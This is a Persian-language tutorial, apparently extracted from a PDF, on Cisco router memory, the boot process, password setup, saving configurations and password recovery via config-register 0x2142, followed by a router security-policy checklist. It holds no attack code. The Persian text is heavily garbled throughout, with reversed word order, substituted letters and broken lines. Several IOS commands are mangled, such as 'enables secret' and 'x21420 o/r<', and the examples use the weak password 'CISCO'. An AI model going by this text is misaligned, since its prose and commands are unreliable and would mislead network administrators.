 :رود مي بكار زیر موارد آردن ذخيره براي روتر در پایدار حافظه این

 .رود مي بكار آن مختلف قسمتهاي آردن چك براي و شود مي اجرا روتر آمدن بالا هنگام  آهPower-on self testبرنامه  •
  .آند مي اندازي راه را روتر آه ) انداز راه خود ( Bootstrap Startupبرنامه  •
  .  روترIOSافزار  نرم •

   .شود عوض آن Chip باید و نبوده پذیر امكان افزاري نرم روش به  روترROMمحتویات  تغيير آه است واضح
  

Flash Memory 
  .باشد مي روتر عامل سيستم حاوي حافظه این.باشد مي آردن ریزي برنامه دوباره و آردن پاك قابل حافظه قطعه یك
  

NVRAM (Non Volatile RAM) 
 را خود محتویات هم حافظه  اینFlash Memoryهمانند . رود  مي  بكارStartup configurationفایل  از نگهداري براي حافظه این
  .دهد نمي دست از برق قطع هنگام در
 

RAM (Random Access Memory) 
وقتي  هاي  داده و بوده روتر عادي حافظه این د  مي  دارينگه  آن در را خود  م د .آن ين   table Routing مانن دازي  راه از پس   همچن  ان

 .شود مي منتقل حافظه این به عامل سيستم روتر
  .دهد مي دست از را خود محتویات تمام برق قطع هنگام در حافظه این

 
Interfaces 

Interfaceهاي اینترفيس داراي روترها فرض پيش بطور.شود مي گفته بيرون محيط با روتر ارتباطي محل  به serialبراي آه  هستند 
رفيس  همچنين. رود مي بكار دور هاي فاصله  درWAN شبكه یك به اتصال ایي  اینت راي  ه ه  اتصال  ب ا  در LAN ب  دارد وجود  روتره
  .Interface Ethernet،Token Ring،FDDI(Fiber Distributed Data)مانند 

   
  .افتد مي اتفاقي چه روتر آردن روشن هنگام

 
  . CPU،memory و  اینترفيس ها قبيل از قطعاتي. آند  مي چك را روتر افزار سخت  Power-on self Test  برنامه -١
  . شود مي  اجراBootstrap برنامه -٢
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٣- Bootfieldشود مشخص مناسب عامل سيستم تا شود مي  خوانده.  
 . RAM به شود مي داده  انتقالFlash memoryدر  موجود عامل  سيستم-٤
  . شود مي  منتقلRAM به است شده  ذخيرهNVRAM در  آهConfiguration فایل -٥
 آرد خواهد  مطرح Wizard صورت به سوالات یكسري روتر IOS باشد نداشته  وجودNVRAM  درConfigurationفایل   اگر-٦
 . شود مي  گفتهdialog Setup ویزارد این به.بگيرد شكل اوليهConfig تا 
  

  روتر با کار
 

  }}عبور کلمات کردن ست {{
 

ه  روشي .باشد مي روتر براي عبور آلمه یك تعيين مرحله اولين پس .داشت نخواهد  ايPasswordباشد  نو روتر اگر ر  در آ راي  زی  ب
 .باشد شده آنسول انجام پورت طریق از روتر به اتصال آه رود مي بكار هنگامي تنها است شده آورده عبور آلمه آردن ست

   :شود  مي  دیدهConsolدر  رزی عبارت
Router> 

ر   به توان مي  فقطUser یك عنوان به. شود مي  گفتهUser Execحالت  این به رده log onروت  را تنظيمات  و گزارشات  یكسري  و  آ
شاهده  رد  م ن  در و آ ان  حالت  ای ه  آردن  ست  امك ور  آلم دارد  وجود  عب راي  .ن ه  آردن  ست  ب ور  آلم د  عب ه   بای دا ب التي  ابت ه  ح  آن  هب  آ

Privileged Execشوید وارد شود مي  گفته.  
   :آند مي پيدا تغيير زیر صورت به فرمان خط .آرد  استفادهenableدستور  از باید حالت این به ورود براي

 
Router# 

ه  برگشت  براي. دارد قرار Exec Privilegedحالت  در اآنون هم روتر آه است معني بدان این د user Exec حالت  ب  دستور   از  بای
disableحالت  از باید عبور آلمه آردن ست براي نمود حال  استفاده Enableحالت   به Configurationرفت .   

 
   :دهد مي انجام را آار  اینconfigureدستور 

Router#configure 
Configuring from terminal، memory، or network [terminal]? Terminal 
Router (config) # 

  .دارد  قرارConfigurationحالت  در روتر آه دهد مي نشان فوق رتعبا
 :شوند ست آنها همگي باید آه دارد وجود متفاوت عبور آلمه )پنج  ( ٥

1- Console  
2- Auxilary 
3- VTY  
4- Enable 
5- Enable Secret 

Console -1 
  :آرد خواهد محافظت را  روترConsoleپورت  عبور آلمه این

Router#Configure 
Router (config) # line console 0 
Router (config-line) # login 
Router (config-line) # password CISCO 
Router (config-line) #Ctrl-Z 

-2 Auxiliary  
 :رود مي بكار مودم طریق از اتصالات براي عبور آلمه این

Router#Config t (Configure terminal) 
Router (config) # line aux 0 (line auxiliary 0) 
Router (config-line) # login 
Router (config-line) # password CISCO 
Router (config-line) #Ctrl-Z 

م  آنها شده خلاصه فرم از دستورات جاي به توان مي روتر در(باشد  ميConfigure terminalدستور  شده خلاصه اول خط دستور  ه
 )نمود استفاده
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VTY -3  
اي   د Virtualپورته ه   مانن ا  بقي د  خارجي  وجود  پورته ام  در .ندارن ه  اتصال  هنگ ر  ب ق  از روت ن   ازTelnet طری ورت  ای تفاده  پ  مي  اس

 خالي  جاي  دستور یك از توان مي آرد ست همدیگر با را عبور آلمات همگي بخواهيم صورتيكه در.باشد مي تا 5 پورتها این تعدا.شود
  line vty 0 4 (0 :نمود استفاده (4 سپس و

Router#Config t 
Router (config) # line vty 0 4 
Router (config-line) # login 
Router (config-line) # password CISCO 
Router (config-line#Ctrl-Z 
 

Enable -4 
ن  ه  ای ور  آلم ه  عب ره Clear textصورت   ب ه  از معمولا  و شود  مي   ذخي ور  آلم راي Enable Secret عب ه  ورود  ب  حالت   ب

Enableره  شده رمز صورت به عبور آلمه این.(شود مي استفاده ي . )شود  مي  ذخي واقعي  در ول ه  م راي  مشكلي  آ ر  ب د   روت يش بيای  و پ
 عبور آلمه این آه است بهتر پس ، آرد نخواهد آارSecret Enable عبور  آلمه آند استفاده آمدن بالا براي فرض  پيشIOS از  روتر
 .شود ست

Router#Configure 
Router (config) # enable password CISCO 
Router (config) #Ctrl-Z 
5- Enable Secret 
Router#Config t 
Router (config) # enables secret CISCO 
Router (config) #Ctrl-Z 

 "  روترconfigنمایش  "
configدر  روتر NVRAM شود مي ذخيره آن.   NVRAMشود مي باعث آه است فرار غير حافظه  یك config ر ام  در  روت  هنگ
ده startup-config است شده  ذخيرهNVRAM در آه  ايconfig. نرود دست از شدن خاموش داي  در و شود  مي   نامي الا  ابت دن  ب  آم
  . شود مي  منتقلRAM به  روتر

  
   .شود مي   نمایش  گفتهrunning-configدارد   وجودRAM در  آه اي config به

   .گرفت  قرارenable حالت در باید و نيست پذیر  امكانexec use r حالت در روتر config محتویات 
  

  :باشد مي زیر صورت به  روترconfigنمایش  به مربوط دستورات
  

)Show startup-configمختصر طور به  یا ( start sh  
)Show running-configمختصر طور به  یا sh run(  

  
  
 " روترconfigذخيره "

Configدر   روترNVRAMآن به آه شود مي  ذخيره   startup-config راي  .شود مي گفته نيز ره  ب  running-config آردن   ذخي
 :نمود استفاده باید زیر دستور از startup-configدر 

   
)  Copy running-configuration startup-configurationخلاصه  ( start copy run  

  
د  مشخص را مقصد فایل باید دستور این راياج از پس ه  آني ا  آ ه   زدن ب ان ENTERدآم ل   هم يش  فای  startup- config ) آن فرض  پ

  .شد خواهد انتخاب(
  

# copy run start 
Destination file [startup-config]: (here you would press Return) 
Building Configuration... 

  .شود مي  استفادهwrite memدستور  از دستور این جاي به قدیمي روترهاي در
   :آنيم  ذخيرهftp سایت روي بر فایل یك در را  روترconfig زیر دستورات با توانيم مي باشيم  داشتهtftp serverاگر 

#COPY RUN TFTP 
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Remote host[]? 10.1.1.1 (This is IP address of the TFTP server) 
Name of configuration file to write [router-confg] Return 
(the above writes the configuration to the file router-confg) 
Write file ARNOLD-confg on host 10.1.1.1? Return 
[Confirm] Return 
Building configuration... 

 " روترconfigبازیابي "
   .آرد  منتقلrunning-config به  راstartup-config توان  ميreloadدستور  از استفاده با
  
  ؛!!؛ پاکش ميکنيم عيب نداره " شده فراموش عبور کلمه "
 

ابي  در اصلي  نكته .شوند مي ذخيره دارد  قرارNVRAM در  آهstartup-configفایل  در روتر عبور آلمات ور  آلمات  بازی ن  عب  ای
ام  در آه است الا  هنگ دن  ب ر  آم د  روت ابي   اجازه  نبای ره   وstartup-config بازی ه running-config در  آن ذخي ر  ب ه  و داده روت ن  ب  ای

د  منظور  ر  config register از ششم  بيت  بای ر configuration register . شود  داده تغيي وان  مي  را  روت  config دو حالت   در ت
modeیا  ROM MONITOR ه  داد چون تغيير ور  آلم م  را عب رده  گ م  آ ان  ای ه  ورود امك داریم  config mode ب ابراین  و  را ن  از بن
 .آنيم مي استفاده آن تغيير براي دوم روش
ر ارسال    بهBreak دستور  شود مي  لودflash memory  از ios آه  هنگامي در د MONITOR ROM حالت به ورود براي  روت
 .آرد
وده  خاموش  را روتر د  روشن  سپس  و نم دا .نمایي ه    ابت ه test power os selfبرنام ه   flash  از ios سپس  و شود  مي  اجرا  flash  ب ب

RAMآامل  انتقال از قبل اگر.  منتقل ميشود ios به  ramدستور  break راي ر   ب تاده  روت  ROM MONITO حالت  وارد شود  فرس
  :نمائيد  تایپ را زیر دستورات

  
x21420 o/r< 

i< 
  
ا  ن  ب رده register configدستور   دو ای ر  و  تغييرک اره  روت ام  در سپس  و شود  مي  ریست  دوب الا  هنگ دن  ب   درstratup-config آم

running-configه  به نياز بدون توان مي بنابراین شد نخواهد  آپي ور  آلم ا  . شد config mode و enable mode حالت   وارد عب  ب
 :شود مي ست جدید عبور کلمه زیر دستورات

Router>en 
Router#copy start run 
Router#configure t 
Router (config) #enables secret mypass 
Router (config) #config-register 0x2102 
Router (config) #exit 

دازي  راه در تا گردانيم مي باز اوليه حالت به آار انتهاي در  راconfig registerشود  مي دیده آه همانگونه اره  ان ر  دوب -startup روت
config به  running-configدستور الان راگ. شود  منتقل show versionآمد خواهد بدست زیر نتایج آنيد اجرا را:   

Router#sh version 
Cisco Internetwork Operating System Software 
32K bytes of non-volatile configuration memory. 
8192K bytes of processor board System flash (Read/Write) 
Configuration register is 0x2142 (will be 0x2102 at next reload) 

  
configuration registباشد مي زیر صورت به آن دهنده تشکيل مختلف بيتهاي که است بایت دو  روتر:   

(Boot system command Boot file is cisco2-2500 (or 03-00 
Ignore configuration disabled 06 
Disabled OEM 07 
Break disabled 08 
IP broadcasts with ones 10 
Speed is 9600 baud console 11-12 
Boot default ROM software if network boot fails 13 
IP broadcasts do not have network numbers 14 
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Disabled Diagnostic mode 15 
  ) 0010،0000،0001،0010(باشد   ميox 2102 آن  مقدار عادي حالت در
ه   بيت  این آردن ست با. شد نخواهد   انجامrunning-config به  startup-config  انتقال  باشد 1 صورتيكه رد ششم بيت دار  1ب   مق

register configurationکه معادل 0010،0001،0100،00100شود   مي  )x2142.(   
 

SECTION 1  
  
ود  اشاراتی  اه روتر عملکرد بهبود جهت در علمی های رویه تعيين به بعدی بخش دو در رفتن  درنظر  خواهيمنم ن  گ انی  و اصول  ای  مي

ل  از و مشخص سياست یک بدون اگر باشند می حياتی امری بسيار ين شده   قب ه  دست  تعي دی  ب ر  پيکربن ا  روت د  ه ه  بزني ا  ن ود  در تنه  بهب
د  اعمال شبکه کل و ها روتر روی بر را نادرستی اعمالی های سياست جهت برعکس در شاید بلکه اید نکرده کاری ها روتر امنيت  کني
  .بود نخواهد اتان شبکه گریبانگير امنيتی متعدد های جز ضعف چيزی آنصورت در که
 
 را اشخاصی امنيتی این سياست بایستی نمایيد تعریف و نموده ریزی طرح را خود های روتر امنيتی های عملکرد ع نو و ها  سياست-١
د نمایLogin نظر  مورد روتر به توانند می که د  شناسایی  را ن سانی  چه  نمای دی  حق  ک ر  بروزرسانی  و پيکربن د  را روت  و داشت  خواهن

ر  که مربوطی امور و آن با کار نحوه بایستی ه  روت د   ب ده خواه د  مشخص  را گرفت  عه انطور . نمایي ه  هم د  می  ک رین  از یکی  داني  مهمت
ه  ای شبکه امنيت از تنهایی به اه روتر امنيت باشند می ها روتر امروزی شبکه های تمامی پشتيبان اجزاهای را  ک د   دهی  مسير  ان ميکنن
 برای ممکن جواب یک شاید ؟ داد انجام بایستی را هایی کار چه روتر یک کردن امن برای .باشد می بيشتر
  .باشد می این مهم به رسيدن برای مناسب راهی پيوسته مدیریت و مناسب پيکربندی که باشد این ها روتر کردن تر امن

  
ی  لایه امنيت به بسيارکاملی طور به ای لایه هر امنيت دهد می نشان را روتر یک امنيتی های لایه مفهومی نمایش زیر شکل  خود  داخل
 خطر به جدی طور به نيز بيرونی های لایه امنيت اهميت امنيتی حائز نواقص وجود صورت در که معناست بدان این است وابسته کاملا
  .افتد می خطر به کل به هایی روتر چنين حاوی شبکه کل امنيت نيز های بيرونی لایه افتادن خطر به صورت در افتند می

 
  

 یک با شود می شامل را نکات امنيتی مهمترین از یکی امر این بودن ساده خلاف بر باشد می ها روتر فيزیکی امنيت حوزه ترین داخلی
ن  در داشت  خواهد را ای جانبه همه یک کنترل نفوذگر یک آن های پورت و روتر به مستقيم و کامل فيزیکی دسترسی  شما  صورت  ای
ا  به فيزیکی دسترسی گونه هر از فيزیکی های با حفاظت را شبکه مهم اجزای و هایتان روتر بایستی رل  آنه د  کنت ن  نمایي امين  ای ده  ت  کنن
ا   که مينمایند استفاده مستقيم ارتباط چند یا یک از ها روتر بيشتر شود می محسوب ها روتر تامينی پارامترهای از یکی ا انه سول  ب ا  کن  ی
ن  شود  می گفته نيز کنترل گاههای در ورت  ای ستم  یک  های  پ رای  را مخصوصی  سي رل کردن   ب ر  کنت ا  روت راهم  ه د  می  ف ستی  کنن  بای

  .نماید تعریف را شود پيدا دسترسی ها گاه در این به چگونه و چه زمانی که را هایی قانون نمایيد می مشخص که ای امنيتی سياست
 

 بویژه کند پيدا دسترسی لایه نيز این به نفوذگر حتی اگر است روتر خود داخلی های پيکربندی و افزار نرم حاوی فوق شکل بعدی حوزه
رل خود در   تحت نيز را دیگر لایه دو روتر خود داخلی نظر مورد های پيکربندی به ه  از اورد می  کنت رین  جمل ا  مهمت وان  می  آنه ه  ت  ب

  .فرمان  ی ها رابط دیگر به مستقيم دسترسی به کنترل و همچنين باشد می رمز کلمات و ها یوزر و ها رابط های آدرس
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ا  روتر امنيتی های سياست اغلب ه  دسترسی  ه ن  ب ه  ای د  می  محدود  را لای م  نماین دیریتی   بخش  در ه م  و های م ه . شبکه  سطح  در ه  لای
 های قسمت ترین مشخص از یکی ها روتر خود دهی مسير جداول– روتر دایناميک های دیپيکربن به است مربوط شکل دیگر خارجی
 لوگ و وARP جداول  ازجمله روتر داخلی رابط وضعيت به انست مربوط دیناميک اطلاعات قسمت دیگر اید می شمار به بخش همين
  .روند می شمار به لایه این های قسمت مهمترین از که روتر در شده ثبت کاربران برسی های فایل

 
 گفته مينماید پيدا نيزدسترسی لایه ترین خارجی به همانصورت به کنيد پيدا دسترسی روتر یک دیناميک های پيکربندی به نفوذگری اگر
رای  که امنيتی عملکرد شوند تهدید می نيز ها لایه دیگر داخلی لایه هر امنيت افتادن خطر به صورت در گه بودیم ن  ب سمت  ای  تعریف  ق
ن  بودن دسترس قابل وغير بودن قفل کامل طور به قسمت این اغلب برای دهد قرار توجه مورد را لایه این بایستی مينماید ه  ای  در را لای
  .ميگيرند نظر

  
 مسير حال در روتر بين شبکه خارجی و داخلی شبکه بين ها داده ترافيک و روتر مدیریت شده گرفته نظر در امنيتی لایه ترین خارجی

ر  شبکه  کل امنيتی های عملکرد ميان این در البته نمایيد تصور راLAN دو توانيد می منظور این به است ها پکت هید ن  ب  موضوع  ای
 نوع این از مدیریتی قوانينی هاو پکت انواع و ها سرویس همراه به مجاز های تعریف پروتکل و شناسایی جمله از هست نيز گذار تاثير
  .روند می شمار به لایه نامنيتی ای قوانينی دست

  
ی  قواعد  روی خود  بر حتی باشد گذار تاثير نيز روتر یک روی بر بایستی شبکه یک خود بالای کلاس امنيتی نيازمندیهای ی  امنيت  داخل

  .روتر یک
 

  نظر مورد روتر حاوی شبکه کلی های سياست و روتر يک امنيتی های سياست
 
ع  در باشد  می  روتر شبکه حاوی کلی های سياست تکميل جهت در روتر یک امنيتی پيکربندی های سياست بایستی واضح طور به  واق

ی  قواعد  کردن  عملی جهت در صورتی به ها روتر بایستی مدیریت شود می محسوب شبکه کلی امنيتی سياست یک از بخشی روتر  کل
ه  این کاری در تجربه اگر . گيرد قرار استفاده مورد شبکه يد  داشته  زمين سياری  در باش ا  شبکه  از ب ر  ه ا  روت ه  ه ا  تطابق  عدم  علت  ب  ب

ن  شوند  می شبکه روی بر ترافيک ایجاد مسيله یک به خود ترافيکی بار کاهش جای به کلی شبکه های سياست ه خصوص   امر  ای  در ب
 .کنيد توانيد مشاهده می را است نگرفته صورت ها روتر بندی پيکر روی بر درست تنظيمات که هایی شبکه

  
  گرفته نظر در را نقش نوع سه شبکه امنيتی عملکرد یک نمایيد فرض مثال برای

 
• Administrator 
• Operator 
• User 

  
وع   دو فقط روتر شده نعریف امنيتی داخلی سياست است ممکن دام  شود  شامل  راOperator  و Administrator ت  های  نقش  از هرک
دین  شوند  پشتيبانی روتر توسط بایستی شده تعریف ه  صورت  ب ستی  ک ا  بای ا  روترب اثير  اجازه  آنه ذاری  ت املی  گ ا  را ک رفتن  نظر  در ب  گ
ر  داخلی های لایه از بخشی به دسترسی حق شایدoperator مثال  برای بگيرد نظر در را کدام هر اجرایی های مسوليت ه  را روت  در ک

 و را بدهد کاربر نوع این به را ای اجازه چنين این هم وترر داخلی امنيتی سياست بایستی بنابراین باشد داشته را کردیم اشاره انها به بالا
ی  عملکرد در دسترسی چنينی دارایUser که  حال نماید مشاهده را  هاAudit Logs مثلا  ر  داخل د  روت ود  نخواه وعی  در – ب  دیگر  ن
 و نماید اجرا را شبکه کلی ها سياست روتر بایستی این شرایط در باشد آن تحت شبکه خود از بيشتر روتر خود داخلی امنيتی قواعد شاید
رای   پاسخگو کلی های سياست همان به ال  باشد ب اید  مث ایی  دسترسی  ای شبکه  در ش ی  شبکه  یک  درAdmin حد   در ه ر  داخل  روی ب

ا  روتر قواعد اینصورت در باشد شده فراموش ها روتر ز  ه د  ني ه  بای ه  باشد  اینصورت  ب ه  هر  از ک تيابی  گون  درسطح  خارجی  های  دس
 .نماید جلوگيری را دیریتم
  

  روتر يک برای امنيتی سياست يک ساخت
 

  بگيرید ؛ نظر در را قواعدی چنينی ساخت و تعریف هنگام درر را مهم نکته چندین
 

ژه  های فرمان نه کنيد مشخص و طراحی را معقول و عملی های سياست • انيزم  و وی ا  مک ی   ی ه ی وقت ی  های  سياست  کل  امنيت
 سياست بایستی باشد می منظوره تک های روش و های موردی پيکربندی از کاملتر امده بدست تایجن شوند مشخص روتر یک

 خود  از را کاملی پذیری انطباق بایستی و باشد ها روتر انواع در شده رفته کار به نرم افزاری های نسخه از فراتر عملکردی
  .بيفزاید ای شبکه مشکلات بر اینکه دهد نه نشان
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ه  و ها حوزه برای که را امنيتی های سياست تمامی • ی  های  لای ر  یک  امنيت ه  روت الا  در ک ر شمردیم   ب د  نظر  در را ب  از بگيری
ی  خارجی  های  لایه طرف به و کرده اغاز فيزیکی امنيت دی های   یعن ستا  پيکربن ی  و دایناميک  و ای  حال  در ترافيک  همچنين
  .بگيرید نظر در را جریان

 
ایی  سرویس همچنين و هایی پروتکل اگر باشد نظرتان مورد شبکه کلی های سياست تحت روترتان عملکرد سياست بایستی •  ه

ستی  هستند  شبکه دیگر منابع از استفاده به مجاز ر  بای ن اجازه   روت ه  را ای ن  ب ا  پروتکل  ای شده  تعریف  پروتکل  هر  و داده ه  ت
ر  ودخ از توان می چگونه که گفت شما خواهيم به ادامه در نماید بلوکه را دیگری ا  روت ه  ه وان  ب واره  عن تفاده  آتش  های  دی  اس
ورد   های  روتر هستند قادر که امنيتی مدیران است ها شبکه حفاظت در امنيتی های متد یکی از این نمود  را نظرشان  شبکه م

 بدون ها سرویس و ها داده فيلترینگ عمليات وهم شود انجام خوبی به ها پکت دهی مسير عمل هم که نمایند پيکریندی طوری
 کار دفاعی لایه چنين از گذشتن اند زده دست عمق در دفاع عمليات از به یکی شود اعمال نيز روتر اصلی عملکرد در اخلال
  .نيست هرسطحی در و نفوذگر هر

 
ر  است  نشوند ممکن  شناسایی شده داده اجازه های پروتکل و ها سرویس کليه شناسایی است ممکن مواقع بعضی در ه  اصلی  روت ه   ک  ب

BackBoneتوانيد نمی اینصورت در که باشد ها داده ترافيک دریافت و ارسال حال در خارجی های شبکه از بسياری به است معروف 
 های سياست و ها سيستم با ارتباط حال در های شبکه انواع به بستگی این که دهد اجراقرار مورد را نظر مورد امنيتی های سياست کليه

ن  در بایستی باشد می ارتباط حال در گریکدی متفاوت با امنيتی ع  ای ه  مواق ا  داده ترافيک  حجم  ک ر  ه ر   روی ب شته  BaclBoneروت ا پ   ی
ا تحت   شند با روشن واضحی کاملا شکل به ها دسترسی و های محدودیت بایستی است زیاد شبکه اثير  ت وانينی  عملکرد  ت رار  شبکه  ق  ق
ی  و منظوره  کلی بایست ندهد رخ تک ی های انفرم ایجاد از کلی سياست یک ریزی طرح هنگام گيرند دا  کردن  انحصاری  همچنين  ج

ر  دیگر  همچنينی و شبکه کلی ها سياست با بتوانيد تا باشد بوده مستند روتر امنيتی عملکرد سياست هنگام در تداخلی تا بپرهيزید ا   روت ه
د  نظر  در را ای شبکه  باشد داشته را کافی تطابق ه  بگيری ر  ک ا  روت اوت  های  است سي آن ی ه م  یکدیگری را  از متف ا  ه ا  خود  ب  دیگر  ب
د  می   درOver Control حالت به شبکه که است اینگونه بگيرند پيش در ها پروتکل ی  دیگر  های  سياست  پس . ای ل  را اجرای  خود  مث
 لایه در نفوذگران ها دسترسی برای زیادی هایی خطر ها قواعد تطابقاین عدم صورت در بگيرید نظر در جا یک را یکدیگر با ها روتر
ه  جدی  طور به نيز ها لایه دیگر امنيت شد گفته که همانطور لایه هر در صورت نفوذ در و آید می پيش مختلف های د  می  خطر  ب  . افت

 جهتو با ها روتر درکليه تطابقی صورت همان به نيز تغييرات این بایستی کنند می کلی تغييرات شبکه امنيتی کلی ها که سياست هنگامی
دی  پيکر  انواع صورت در جهت هر به شوند می تعریف عملکردشان نعریف به اوت   بن ی  های  سياست  ای شبکه  های متف ی  امنيت  داخل

ه  مثلا شد خواهند عوض همانصورت به هم ها روتر سایل  از یک  هر  هرجهت  ب ر  م ه  زی وع  ک دد  بوق از  بپيون ه  ني اهنگی  و تطابق  ب  هم
  .شود  می پيدا نيز دوباره

 
 خارجی شبکه یک با محلی شبکه بين جدید رتباطا ایجاد •
  پيوستن جدیدو های نيارمندی همچنينی و شبکه عملکردی های رویه و مدیریتی عمده تغييرات •

 .شود تعریف ها یوزر از سری یک برای محلی شبکه به پرینتر یک اگر مثلا شبکه به جدید اجزای
 شود تعریف نيز کاربران از اندسته دسترسی نيز ها روتر در بایستی

  محلی شبکه یا مادر شبکه های سياست در کلی تغييرات •
 Firewall همانند شبکه اجزای یک  یاVPN قبيل از جدید یيهای توانا توسعه یا ایجاد علت به •
   جدی نفوذ خطرات یا حمله یک دستيابی و شناسایی •

  
ا  تا دهيد را تذکر روتر مدیریت باره در را لازم های هشدار افراد به کنيد می اعمال روتر یک بر را ای عمده تغييرات وقتی رات  ب  تغيي
ه  عدم  صورت  در است  داشتن شبکه نگه پا سر و نگهداری در مهم و اساسی نکته یک این آشنا شوند عمده اهنگی  اینگون ا  هم  ممکن  ه
 دوباره متفاوت عملکردی سطوح در اشخاصی است

 .افتد  می خطر به شبکه کل منيتا اینصورت در که نمایند تعریف را هایی سياست
ا  یک  سياست  یک  اشان شبکه اجزای تمامی برای جا یک طور به نيز ها شبکه بعضی ر  و ج ل  غي ر  قاب ال  تغيي د  می  را اعم  دقت  نماین
  .باشند نداشته تضادی هيچ گونه کلی قواعد ان با موارد اینگونه در روترتان داخلی امنيتی های عملکرد که نمایيد

 
  )سيسکو ( روتر يک برای کلی های ياستس ليست چک

 
د  است  شده اتان تهيه شبکه تعریف مورد گذاری سياست یک ساخت برای شما بيشتر رسانی کمک برای زیر ليست چک  طراحی  از بع

وارد  هر کدام تطبيق و زیر ليست چک به مراجعه با روترتان امنيتی عملکرد سياست ه  م ال  را شده  گفت د  اعم  يست ل چک  آخر  در نمایي
  . ميشود ارایه IOS  برایNSA امنيتی 

  
  فيزيکی امنيت
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 · است دارا را روتر کردن خارج همچنيين و نصب برداشتن و نصب حق کسی چه که نمایيد تعيين •
 · باشد می روتر اجزا پيکربندی و قطعات تعویض و تعمييرات به مجاز کسی چه که نمایيد نعيين •
 · باشد می روتر با ارتباطات ادایج به مجاز کسی چه که نمایيد تعيين •
 .ها پورت  ارتباطات مستقيم های دسترسی دیگر و کنسول از استفاده نحوه و مکان به ها کنترل دقيق تعریف •
ا  و فيزیکی  های آسيب هنگام به روتر سازی باز و اوری باز های رویه تعریف • انی  دستکاریهای  کشف  ی ر   پنه ر  روی ب  روت

 .نظر مورد
  

 )Static (ساکن  پيکربندی امنيت
  

 ارتباطی های پورت به مستقيم  های دسترسی دیگر یا و کنسول طریق از روتر از مستقيم استفاده حق کسی چه که نمایيد تعيين •
 دارد را

 · دارد را ادمين سطح در روتر به دستيابی حق کسی چه که نمایيد تعيين •
ل  از نمایيد تعریف را روتر ساکن های پيکربندی در تغييرات برای را ها عملکرد نوع و ها روش • رات  قبي ایع  ثبت   تغيي ا  وق  ی

 .قبلی های رویه بينی باز یا و ضبط نحوه
 مدیریتی سطوح برای را عبور کلمات مشخصات یا  وuser/login password برای  را رمز کلمه های سياست عملکرد نوع •

 .) کارمندان  تغيير  یاlifetime صورت  به( کنند  ييرتغ عبور کلمات بایستی که ای شرایط ليست شامل که نمایيد تعيين
  . باشد می دارا را ها روتر دیگر رد را remote صورت  بهlogin حق  کسی چه که نمایيد تعيين •
 .نمایيد تعيين راremote طریق  از ها روتر به شدن وارد برای را شبکه های اجازه همچنينی و ها رویه و ها پروتکل •
ه  اشخاصی نمودن مشخص و روتر یاور باز های روش • ه  دسترسی  حق  ک ر  ب ا  را روت دی  جهت  در ب تاتيک  های   پيکربن  اس

 نمایيد تعریف را دارند
ایع  ثبت   دوباره زبينی با همچنينی و خارجی مدیریتی های عملکر ثبت شامل که را روتر وقایع ثبت بازرسی روش • ه  وق ر  ک  ب

 نمایيد تعيين را باشد کسانی چه عهده
 مشخص را روتر امکانات مانيتورینگ همچنيين و دور راه از صورت به خودکار مدیریت کردن محدود و استفاده های روش •

  SNMPجمله  از نمایيد
 .نمایيد  مشخص را است گرفته قرار گران نفوذ حملات تحت که هنگامی در روتر خود پاسخگویی هایی رویه •
 بخصوص نمایيد تعيين روتر روی بر را مدت طولانی محرمانه عاتموضو همچنينی و بروزرسانی برای مدیریتی ها سياست •

   SNMP  و NTP-TACACS+-RADIUS قبيل  از دهی مسير های پروتکل برای
د  مدت بلند سياست • رای  وجود  صورت  در را رمزنگاری  کلي د  ب ثلا    مشخص  را مدت  طولانی  نگاری  رمز  های  کلي د م  نمای

MD5 
  

  دايناميک پيکربنديهای برای امنيت
 
 .نمایيد مشخص را ها سرویس  ان به شبکه های دستيابی همچنينی و روتر مجاز دیناميک های پيکربندی های سرویس •
 .نمایيد تعریف  را پروتکل هر امنيتی ها مشخصه بهمراه را ها پکت دهی مسير برای استفاده مورد های پروتکل •
 و روتر دستی تنظيمات مثل  کنيد تعيين را ها روتر ساعت جمله از رسانی بروز و خودکار داری نگه های سایت به دسترسی •

  NTP یا
رای  شده  حفاظت  های  الگوریتم نگاری رمز توافقی های کليد • ل  در شناسایی  ب ا دیگر  VPN های   تون ا  شبکه   ب  تعریف  را ه

 نمایيد
  

  شبکه های سرويس در امنيت
 

ا  شدن  رد اجازه  بایستی که را هایی سرویس همچنيين و ها پورت و ها پروتکل • ر  اینکه  ی شوند  فيلت د  می  را  ب سمت  در تواني  ق
ا  ورودی( نمایيد  مشخص ارتباط هر یا کاربری رابط هر برای شبکه های سرویس ا  ه  تعریف  و ) اطلاعات  های  خروجی  ی
ایروال  یک  صورت به ها شبکه مدیران قسمت این از – بالا تعریف های همان دادن تغيير برای دسترسی های حوزه  سخت  ف

ثلا  اصولا  گيرند می نظر در را باشد ها پکت دهی مسير همان که روتر اصلی عملکرد ازخود استفاده بر علاوه افزاری ر  م  ب
ر Telnet پروتکل  ارتباطات که باشد شده تعریف چنين روی روتری ين  دیگر  شود   فيلت ه  دیگر  ارتباطات  همچين ه  ب  های  لای

 از بسياری اکنون هم شوند می بلوکه نوع ارتباطات این ابتدا همان از و نميرسد آتش های دیواره جمله من شبکه داخلی دفاعی
Security Managerدارند می نگه مصون نفوذگران از بسياری دست از را اشان شبکه هایی ترفتند چنينی با هوش با های  
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 ٧٦٢    صفحه

 مورد فنی های داری نگه و خارجی های سرویس کنندگان باتهيه برخورد هنگام در عملکرد قواعد و امنيتی های رویه توضيح •
 .روتر به مربوط نياز

  
ان  سوال این شاید شدید ولی اشنا کلی صورت به ها روتر برای امنيتی سياست نوع یک طراحی بنيادی و کلی اصول با اینجا به تا  برایت

ن  جواب  است  منطقی ریکا چنين آیاانجام موجود انواع وجود با و رفته کار به روتر هر برای ایا که باشد شده مطرح م  سوال  ای  آری ه
  !!!خير هم و است

 
 چگونه که ميکند پيدا بستگی شبکه وابسته توپولوژی خود به اساسی طور به همچنينی و مشتری خواست و شما طراحی نوع به بسته این

دیهای  روش ی  پيکربن رای  را امنيت ر  ب ه  خود  های  روت ار  ب د  می  ک ع  در بعضی  بندی ان  یسر  یک  است  لازم مواق ا  فرم  تنظيمات  و ه
ی    یاMAN قبيل  از بزرگتر های شبکه برای مواقع بيشتر در نمایيد  اجرا BackBoneیا داخلی روتر یک روی بر را انحصاری  حت

WAN از  Templateه   است  تذکر به لازم گردد می استفاده امنيتی پيکربندی برای سازنده شرکت خود امنيتی های ليست چک یا ها ک
ع   در کند می فرق فرض پيش های پارامتر با روتر نصب با سازنده شرکت های ليست چک با یبند پيکر ن  بعضی مواق تنباط  ای  می  اس
 همگان که حال است سازنده شرکت فرض پيش حالت های در روتر شود تعریف نت ساب یک رابرای دهی مسير یک فقط اگر که شود
